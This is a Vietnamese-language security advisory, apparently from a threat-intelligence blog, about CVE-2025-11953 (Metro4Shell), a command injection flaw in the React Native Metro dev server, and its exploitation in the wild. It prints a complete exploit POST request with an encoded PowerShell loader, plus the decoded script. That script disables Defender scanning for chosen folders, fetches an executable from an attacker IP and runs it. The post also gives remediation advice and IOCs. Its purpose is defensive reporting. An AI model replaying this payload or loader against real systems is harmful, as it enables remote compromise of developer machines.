Skip to main content

Command Palette

Search for a command to run...

Lỗ hổng nghiêm trọng trong React Native đang bị tin tặc khai thác trên thực tế

Updated
6 min read
Lỗ hổng nghiêm trọng trong React Native đang bị tin tặc khai thác trên thực tế

Metro4Shell - cái tên từng làm mưa làm gió trong cộng đồng bảo mật trong khoảng thời gian cuối năm 2025, gần đây một lần nữa trở thành tâm điểm chú ý khi xuất hiện nhiều hơn những báo cáo cho thấy tin tặc đã và đang tích cực khai thác lỗ hổng nghiêm trọng này.

Thông tin chi tiết

  • Định danh lỗ hổng: CVE-2025-11953

  • Điểm CVSS(3.1): 9.8

  • Mức độ nghiêm trọng: CRITICAL - Cực kỳ nghiêm trọng

  • Mô tả: Máy chủ Metro Development Server, được triển khai với React Native Community CLI, mặc định tự động liên kết với các interface external. Kẻ tấn công chưa xác thực (unauthenticated attacker) có thể đứng từ vùng mạng ngoài và gửi một POST request tới máy chủ Metro để chạy các tệp thực thi tuỳ ý bằng kỹ thuật OS command injection.

  • Phiên bản bị ảnh hưởng: Tất cả các phiên bản từ 4.8.0 tới 20.0.0-alpha.2 của gói @react-native-community/cli-server-api

Metro là bộ đóng gói JavaScript và máy chủ phát triển được các ứng dụng React Native sử dụng trong quá trình phát triển và thử nghiệm. Lỗ hổng CVE-2025-11953 (hay Metro4Shell) xuất phát từ cách thức máy chủ Metro xử lý các yêu cầu HTTP. Khi lập trình viên chạy lệnh npx react-native start, máy chủ Metro mặc định liên kết (bind) với tất cả các giao diện mạng (0.0.0.0) thay vì chỉ giới hạn ở localhost (127.0.0.1).

Mặt khác, trình xử lý POST request của Metro như /open-url luôn chấp nhận các POST request chứa tham số URL, sau đó chuyển tham số này vào một hàm hệ thống để mở URL đó mà không kiểm tra lại hoặc lọc (sanitize) kỹ lưỡng. Điều này tạo cơ hội cho kẻ tấn công có thể lợi dụng và chèn các ký tự đặc biệt hoặc lệnh shell vào tham số này.

Do không có cơ chế xác thực, bất kỳ ai cũng có thể kết nối tới cổng của Metro (thường là 8081) đều có thể gửi lệnh tấn công bằng kỹ thuật chèn lệnh OS command injection, từ đó chiếm được quyền thao tác với tệp tin và hệ thống tương đương với quyền của lập trình viên đang chạy lệnh npm start hoặc react-native start.

Đáng chú ý, đối với hệ điều hành Windows, lỗ hổng cho phép kẻ tấn công không cần xác thực từ bên ngoài có thể thực thi các lệnh hệ điều hành tùy ý từ xa thông qua một POST request rất đơn giản.

Theo báo cáo của VulnCheck, công ty bảo mật này cho biết đã phát hiện nhiều chiến dịch tấn công khai thác lỗ hổng này trên thực tế. Các cuộc tấn công được ghi nhận diễn ra một cách có hệ thống, thông qua một loader PowerShell được mã hoá Base64 và lợi dụng cmd.exe để tiến hành thực thi payload này.

POST /open-url HTTP/1.1
Host: VC_REDACTED
User-Agent: curl/7.85.0
Content-type: application/json
Content-Length: 4632
Connection: Close

{"url":"cmd /c powershell -EncodedCommand JABjAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgACQAKABHAGUAdAAtAEwAbwBjAGEAdABpAG8AbgApAC4AUABhAHQAaAA7AAoAJABzAHkAcwB0AGUAbQBUAGUAbQBwAEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAOwAKAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAYwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgADIAPgAgACQAbgB1AGwAbAA7AAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAcwB5AHMAdABlAG0AVABlAG0AcABEAGkAcgBlAGMAdABvAHIAeQAgADIAPgAgACQAbgB1AGwAbAA7AAoACgAkAHQAYwBwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ADsACgAkAHQAYwBwAEMAbABpAGUAbgB0AC4AQwBvAG4AbgBlAGMAdAAoACIAOAAuADIAMQA4AC4ANAAzAC4AMgA0ADgAIgAsADYAMAAxADIANAApADsACgAkAHQAYwBwAFMAdAByAGUAYQBtACAAPQAgACQAdABjAHAAQwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAKACQAcgBlAHEAIAA9ACAAIgBHAEUAVAAgAC8AdwBpAG4AZABvAHcAcwAiADsACgAkAHIAZQBxAGIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcgBlAHEAKQA7AAoAJAB0AGMAcABTAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcgBlAHEAYgAsADAALAAkAHIAZQBxAGIALgBMAGUAbgBnAHQAaAApADsACgAKACQAZQB4AGUAYwBwACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABzAHkAcwB0AGUAbQBUAGUAbQBwAEQAaQByAGUAYwB0AG8AcgB5ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgAGoAegBEAGoAaQBxAEsAVQAuAGUAeABlADsACgAkAGYAaQBsAGUAUwB0AHIAZQBhAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoATwBwAGUAbgBXAHIAaQB0AGUAKAAkAGUAeABlAGMAcAApADsACgAKACQAYgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANAAwADkANgA7AAoAJABiAHkAdABlAHMAUgBlAGEAZAAgAD0AIAAwADsACgB3AGgAaQBsAGUAIAAoACgAJABiAHkAdABlAHMAUgBlAGEAZAAgAD0AIAAkAHQAYwBwAFMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB1AGYAZgBlAHIALAAgADAALAAgACQAYgB1AGYAZgBlAHIALgBMAGUAbgBnAHQAaAApACkAIAAtAGcAdAAgADAAKQAgAHsACgAgACAAIAAgACQAZgBpAGwAZQBTAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAYgB1AGYAZgBlAHIALAAgADAALAAgACQAYgB5AHQAZQBzAFIAZQBhAGQAKQA7AAoAfQAKACQAZgBpAGwAZQBTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAKACQAdABjAHAAUwB0AHIAZQBhAG0ALgBDAGwAbwBzAGUAKAApADsACgAkAHQAYwBwAEMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA7AAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgAkAGUAeABlAGMAcAAiACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcAMwBxAGgAQQBJAG0AYQBMAGoANwA0AHoASABkAHkAeQBHAEQAUQBGAHMATgBzAGYATABMAHUARgBoAFcATQBoAFgANwBDAHIAcwBiAGwAQgBJADMAbQBYAGoAcgBrAG4ARwA5AHkAOABBAHoAVQBXAHUAOQB3AGUATQA3AHEATgBpADIAWQBzAFgANwBtAG4AcQBMAEoASABKAEcAYQBXAGoANgBzAHMASAA5AHEAawBCAHoAYwBDAHAATgBnAGQATQA3AG0ATABuADIARQBrAFEATAB5AHAAdgA3AHgARwBPAG0AVwBSAGoANgBVAHMARwBOAHEAawBCAHoATQBIAHMATgBzAGYATABMAHUASgBoAFcAOAA2AFEANwBtAG4AcwBiAHgAQwBPAG0AVwBSAGgATABFAHIASAA5AHkANABBAGkAQQBFAHUATgA4AEIASgBiAE8AUwBsAEcARQBuAFgANwBtAG0AcAA3AEoASABKAEcAYQBYAGoASwBzAHMASAA5AHUAawBCAHoASQBZAHUAOQBzAGUATQA3AHEASwBuAEcAMABpAFEATAAyAG0AdgA3AEIARgBPAG0AUwBUAGsAcgBvAHYASAA4AE8AKwBCAFQAbwBBAHYAOQBrAGUAUABiAGkASwBpADIAWQBuAFIAcQBhAHUAcQA3AGwAZgBKAG0AYQBYAGgAcgAwAGwASAB0AHUAcQBBAEQAQQBZAHUAOQBvAGYATQA3AG0ASgBsAG4AawBqAFIAcgBLAHAAcgA3AGwARABKAEgAZQBSAGkANgBVAHYASABOAHEAawBCAHoAUQBHAHAATgB3AGQASgA3ADIATQBsAEcATQBoAFUAYgBtAHUAcgBLAFoAQQBKAEcASwBMAGoAYgBzAG8AQQBkAHkAOQBEAHoAbwBQAHUATgBRAFcAUABiAHEATgBsADMAawBsAFEANwB5AHgAcgBMAHQAZgBMAEcAQwBmAGkAcgBzAHMARwA5AHEAcQBEAGkANABFAHUAOQBVAEIATAA3AGkASQBpADIASQBrAFMANwA2AHYAcgByAHQAQgBOAEcAVwBVAGoAcQBVAGsASABjAE8ANwBCAGoARQBZAHMAdABvAFYASwA3AHUATgBsAFcAOAAwAFEANwBxAHQAcwBiAGwAQQBMAEgAbQBVAGoAYgBrAHoASAB0AHEAeQBEAEQAZwBCAHYATgB3AFAATAA3AG0AUABpADIARQA2AFEANwB5AG0AcwBiAGwARgBKAFcAMgBUAGkAYgBvAG8ARAA5ACsANABCAEMANABPAHMAcwBNAGUASwA3AGkAUwBsAEcANABzAFMANwA2AHYAcgByAHAAQgBOAEcAKwBMAGoAYgA4AHQAQQBkACsANgBCAEMANABBAHYAdABjAFoATABMAG0AUABoAFcATQBqAFgANwBxAHIAcgBhAFoAQQBKAEcAKwBMAGkANwBvAG4ARwBkADIANwBCAGoAYwBXAHYAdABvAEIATAA3ACsAUABpADIAWQBqAFIAcQBhAHUAcgBMAGwATABJAG0AZQBVAGoATAA0ADkASAB0AG0AawBCAHoAQQBGAHAATgB3AFoASwBLAFcATgBsAG0AQQB1AFIAcgBpAHEAcgBhAGgASgBPAG0AVwBVAGkANgBVAHMARgB0AFcAawBCAEQARQBDAHMATgBzAGYATABMAHEATgBoAFcAOAA2AFEANwBtAG4AcwBiAHAARABJAFgAbQBSAGoAcgBFAHIASAA5AHkANgBCAHkAQQBDAHYAYwBNAGQASwBiAG0AUwBrAEcAOAA2AFMAYgB5AGwAcQBiAGgAQQBKAEcANgBGAGkATAB3AHoASABkAG0ANQBHAEQARQBFAHYAYwBNAGUASwBiAHUARwBrADIAYwBsAFIAYgB1AC8AcgByAGgARwBPAG0AYQBTAGkASwBVAG8ASABjAE8ANABBAFQAbwBBAHUAdAB3AGIASwA2AHUATgBsAEcAWQA2AFEATABtAHgAcgByAEIAZgBKAFcAKwBTAGgAcgAwAHQASAB0ADYANQBGAGoAUQBCAHAATgA4AGMASgBhAFcATwBsADIATQA2AFEAcgBtAGwAcQBiAGgAQQBKADIANgBpAEsAMABnAEQAQgBNAHAASABlAG8AdwBKAE8AMABxAGMALwBxAHIAQQAxAGkAYQBSADgAZgB0AHYAVQB4AGMANQBvAHoAMgBHAG4AUQA9AD0AJwA="}

Khi được giải mã, payload PowerShell này thực hiện các hành động sau:

  • Ẩn mình trước Microsoft Defender: Thiết lập các đường dẫn loại trừ (exclusion paths) cho thư mục làm việc hiện tại và thư mục tạm thời của hệ thống (temp). Điều này giúp mã độc tránh bị trình diệt virus quét và phát hiện.

  • Thiết lập kết nối TCP thô: Tạo một kết nối TCP trực tiếp đến địa chỉ host và cổng (port) do kẻ tấn công kiểm soát.

  • Gửi yêu cầu HTTP: Gửi một yêu cầu GET /windows tới máy chủ của kẻ tấn công.

  • Ghi dữ liệu xuống ổ đĩa: Ghi dữ liệu nhận được (thường là một tệp thực thi độc hại) vào một tệp tin nằm trong thư mục tạm thời của hệ thống.

  • Thực thi mã độc: Chạy tệp tin nhị phân vừa tải xuống kèm theo một chuỗi đối số (argument) rất dài để kích hoạt các hành vi độc hại tiếp theo.

$currentDirectory = $(Get-Location).Path;
$systemTempDirectory = [System.IO.Path]::GetTempPath();

Add-MpPreference -ExclusionPath $currentDirectory 2> $null;
Add-MpPreference -ExclusionPath $systemTempDirectory 2> $null;

$tcpClient = New-Object System.Net.Sockets.TcpClient;
$tcpClient.Connect("8.218.43.248",60124);
$tcpStream = $tcpClient.GetStream();
$req = "GET /windows";
$reqb = [System.Text.Encoding]::UTF8.GetBytes($req);
$tcpStream.Write($reqb,0,$reqb.Length);

$execp = Join-Path -Path $systemTempDirectory -ChildPath jzDjiqKU.exe;
$fileStream = [System.IO.File]::OpenWrite($execp);

$buffer = New-Object byte[] 4096;
$bytesRead = 0;
while (($bytesRead = $tcpStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
    $fileStream.Write($buffer, 0, $bytesRead);
}
$fileStream.Close();
$tcpStream.Close();
$tcpClient.Close();
Start-Process -FilePath "$execp" -ArgumentList '3qhAImaLj74zHdyyGDQFsNsfLLuFhWMhX7CrsblBI3mXjrknG9y8AzUWu9weM7qNi2YsX7mnqLJHJGaWj6ssH9qkBzcCpNgdM7mLn2EkQLypv7xGOmWRj6UsGNqkBzMHsNsfLLuJhW86Q7mnsbxCOmWRhLErH9y4AiAEuN8BJbOSlGEnX7mmp7JHJGaXjKssH9ukBzIYu9seM7qKnG0iQL2mv7BFOmSTkrovH8O+BToAv9kePbiKi2YnRqauq7lfJmaXhr0lHtuqADAYu9ofM7mJlnkjRrKpr7lDJHeRi6UvHNqkBzQGpNwdJ72MlGMhUbmurKZAJGKLjbsoAdy9DzoPuNQWPbqNl3klQ7yxrLtfLGCfirssG9qqDi4Eu9UBL7iIi2IkS76vrrtBNGWUjqUkHcO7BjEYstoVK7uNlW80Q7qtsblALHmUjbkzHtqyDDgBvNwPL7mPi2E6Q7ymsblFJW2TibooD9+4BC4OssMeK7iSlG4sS76vrrpBNG+Ljb8tAd+6BC4AvtcZLLmPhWMjX7qrraZAJG+Li7onGd27BjcWvtoBL7+Pi2YjRqaurLlLImeUjL49HtmkBzAFpNwZKKWNlmAuRriqrahJOmWUi6UsFtWkBDECsNsfLLqNhW86Q7mnsbpDIXmRjrErH9y6ByACvcMdKbmSkG86SbylqbhAJG6FiLwzHdm5GDEEvcMeKbuGk2clRbu/rrhGOmaSiKUoHcO4AToAutwbK6uNlGY6QLmxrrBfJW+Shr0tHt65FjQBpN8cJaWOl2M6QrmlqbhAJ26iK0gDBMpHeowJO0qc/qrA1iaR8ftvUxc5oz2GnQ=='

Việc ẩn mình khỏi lớp bảo vệ của hệ thống như Microsoft Defender trước khi tải mã độc cho thấy kẻ tấn công đã lường trước sự hiện diện của các biện pháp bảo mật trên hệ thống như EDR/Antivirus từ trước, do đó chúng đã tích hợp các biện pháp lẩn tránh vào ngay luồng thực thi ban đầu.

Tệp nhị phân được tải xuống đã được nén bằng UPX (mã băm SHA-256: d8337df3...), nhưng sau khi giải nén (SHA-256: 7ecbb0cc...), mã độc lộ diện là một tệp nhị phân viết bằng ngôn ngữ Rust. Nó tích hợp các logic chống phân tích cơ bản, bao gồm các trình kiểm tra trong thời gian chạy (runtime checks) nhằm cản trở quá trình phân tích tĩnh (static inspection).

VulnCheck ghi nhận các cuộc tấn công bắt nguồn từ các địa chỉ IP: 65.109.182.231, 223.6.249.141, và 134.209.69.155. Mã độc "windows" được lưu trữ tại 8.218.43.248:6012447.86.33.195:60130. Cùng hạ tầng này cũng lưu trữ một tệp nhị phân tương ứng có tên là "linux".

https://www.vulncheck.com/blog/metro4shell_eitw/cve-2025-11953-timeline.png

Khắc phục & Khuyến nghị

  • Cập nhật phần mềm ngay lập tức: Người dùng và quản trị viên đang sử dụng các công cụ liên quan đến React Native cần cập nhật phiên bản mới nhất của bộ công cụ phát triển (phiên bản 20.0.0 trở lên). Đây là cách hiệu quả nhất để vá lỗ hổng tận gốc.

  • Chỉ làm việc trong mạng nội bộ: Tuyệt đối không chạy các lệnh khởi động máy chủ lập trình (như npm start hay npx react-native start) khi đang kết nối với mạng Wi-Fi công cộng (quán cafe, sân bay) hoặc mạng không tin tưởng. Kẻ tấn công trong cùng mạng có thể lợi dụng điều này để tiếp cận và khai thác.

  • Kiểm tra các phần mềm bảo vệ máy tính: Đảm bảo phần mềm diệt virus (như Microsoft Defender trên Windows) luôn được bật. Nếu nhận thấy máy tính bỗng dưng chạy chậm hoặc có các cửa sổ màu đen (lệnh shell) tự động hiện lên rồi tắt, người dùng cần lập tức ngắt kết nối internet và liên hệ với bộ phận bảo mật kiểm tra ngay.

IOCs

Thông tinPhân loạiMô tả
65.109.182.231Địa chỉ IPĐịa chỉ IP khai thác
223.6.249.141Địa chỉ IPĐịa chỉ IP khai thác
134.209.69.155Địa chỉ IPĐịa chỉ IP khai thác
8.218.43.248Địa chỉ IPMáy chủ lưu trữ payload
47.86.33.195Địa chỉ IPMáy chủ lưu trữ payload
d8337df3aff749250557bf11daf069eb404cce0e6f4f91c6bd6d3f78aed6e9d6Mã băm SHA-256Mã độc khai thác hđh Windows nén bằng UPX
7ecbb0cc88dfa5f187c209a28bd25e8e2d5113bb898a91ae273bca5983130886Mã băm SHA-256Mã độc khai thác hđh Windows đã giải nén
d1886b189474b02467ed2845df0938cec9785e99c3d4b04e0b7de3cafbee4182Mã băm SHA-256Mã độc khai thác hđh Linux nén bằng UPX
6686d4baa9d483da27ba84dab85e96e42b790b608571de7bcb07a1fd7c975fe3Mã băm SHA-256Mã độc khai thác hđh Linux đã giải nén

Tham khảo

  1. Metro4Shell: Exploitation of React Native’s Metro Server in the Wild
  2. Critical RCE Vulnerability CVE-2025-11953 Puts React Native Developers at Risk
  3. CVE-2025-11953 (Metro4Shell) in React Native Metro Server Enables RCE

More from this blog

F

FPT IS Security

738 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.